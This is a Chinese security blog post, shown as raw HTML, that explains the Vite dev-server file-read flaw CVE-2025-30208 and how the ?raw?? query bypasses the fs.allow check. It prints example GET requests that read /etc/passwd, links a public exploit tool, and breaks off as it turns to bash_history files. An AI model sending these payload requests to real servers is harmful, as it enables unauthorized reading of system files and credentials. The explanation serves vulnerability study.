iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974</span></code><span leaf=""> Kubernetes Ingress-Nginx Admission Controller RCE Escalation，是危害性极大的高危漏洞，在内网渗透中能直接击穿K8S集群。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这些高危漏洞其实分析文章很多，看国内外众多大佬的分析都非常精彩，这里我也不献丑了<img style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" class="rich_pages wxw-img" data-ratio="1" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=e968ae7d&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fassets%2FExpression%2FExpression_45%402x.png"/></span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100002006" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5625" data-s="300,640" data-type="png" data-w="960" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=c3ce374e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibf7ZmPBicA3J3DSBxTA4kbmrtdnicOJiaZYTnyKyNVqXBJSzWGc7AheibfYGCOu6bSOeFUW3OdfhRPicsg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但引起我关注的漏洞是 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">CVE-2025-30208</span></code><span leaf=""> Vite Development Server Arbitrary File Read 这个任意文件读取漏洞。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其实我们很多时候都轻视了任意文件读取漏洞，特别是很多刚入行学习网安的师傅，往往瞧不上任意文件读取漏洞，其实这是一种偏见。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">今天就从 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">CVE-2025-30208</span></code><span leaf=""> 发散去讲任意文件读取漏洞，这种漏洞是有操作空间的，况且 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">CVE-2025-30208</span></code><span leaf=""> 利用简单、覆盖面广，那就有必要拎出来和大家交流一下，今天我就来抛砖引玉一下<img style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" class="rich_pages wxw-img" data-ratio="1" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=8ddeb7c5&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fassets%2Fnewemoji%2FYellowdog.png"/></span></p><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1# 漏洞原理？</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">CVE-2025-30208</span></code><span leaf=""> 漏洞原理非常简单，就简单提一下：</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Vite 开发服务器提供 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">@fs</span></code><span leaf=""> 机制，用于防止访问 Vite 允许列表之外的文件。然而，由于 URL 解析时的正则表达式处理不当，攻击者可以通过 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">?raw??</span></code><span leaf=""> 或 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">?import&amp;raw??</span></code><span leaf=""> 等查询参数绕过访问限制，从而读取任意文件。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在 Vite 服务器的 URL 处理逻辑中，</span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">@fs</span></code><span leaf=""> 机制原本用于限制对非白名单目录的访问，例如：</span></p><pre style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px 2px;padding: 0.5em;font-size: inherit;color: rgb(220, 220, 220);line-height: inherit;overflow-wrap: normal !important;border-radius: 0px;background: rgb(30, 30, 30);display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1</span></span><span leaf="">server: {</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">2</span></span><span leaf="">  fs: {</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">3</span></span><span leaf="">    allow: [path.resolve(__dirname, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#39;src&#39;</span></span><span leaf="">)]</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">4</span></span><span leaf="">  }</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">5</span></span><span leaf="">}</span><span leaf=""><br/></span></code></pre><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Vite 在 URL 解析过程中会移除部分特殊字符，而未正确考虑查询参数的影响，导致攻击者可以构造类似如下的请求绕过安全检查：</span></p><pre style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px 2px;padding: 0.5em;font-size: inherit;color: rgb(220, 220, 220);line-height: inherit;overflow-wrap: normal !important;border-radius: 0px;background: rgb(30, 30, 30);display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1</span></span><span leaf="">GET /etc/passwd?raw??</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">2</span></span><span leaf="">GET /etc/passwd?</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">import</span></span><span leaf="">&amp;raw??</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">3</span></span><span leaf="">GET /@fs/etc/passwd?raw??</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">4</span></span><span leaf="">GET /@fs/etc/passwd?</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">import</span></span><span leaf="">&amp;raw??</span><span leaf=""><br/></span></code></pre><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">由于 Vite 解析 URL 时未正确处理这些参数，导致绕过 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">server.fs.allow</span></code><span leaf=""> 限制，并返回任意文件内容。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">按理说，此漏洞仅影响明确将 Vite 开发服务器暴露到网络的应用程序，即使用 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">--host</span></code><span leaf=""> 或 </span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">server.host</span></code><span leaf=""> 配置选项的情况。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但经过公网的资产测绘来看，涉及的数量非常可观，且实际测试的结果发现成功率较高，怪不得各家厂商都打上了高危的标签<img style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" class="rich_pages wxw-img" data-ratio="1" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=f0062110&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fassets%2FExpression%2FExpression_21%402x.png"/></span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">该漏洞Exploit工具已经公开，Github地址：</span><span leaf=""><a href="https://github.com/ThumpBo/CVE-2025-30208-EXP" target="_blank">https://github.com/ThumpBo/CVE-2025-30208-EXP</a></span></p><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">2# 什么是bash_history？</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">众所周知，Linux用户的根目录是有区别的，</span><code style="box-sizing: border-box;margin: 0px 2px;padding: 2px 4px;font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;overflow-wrap: break-word;border-radius: 4px;background: rgb(248, 248, 248);font-family: &#34;PingFang SC&#34;, Arial, 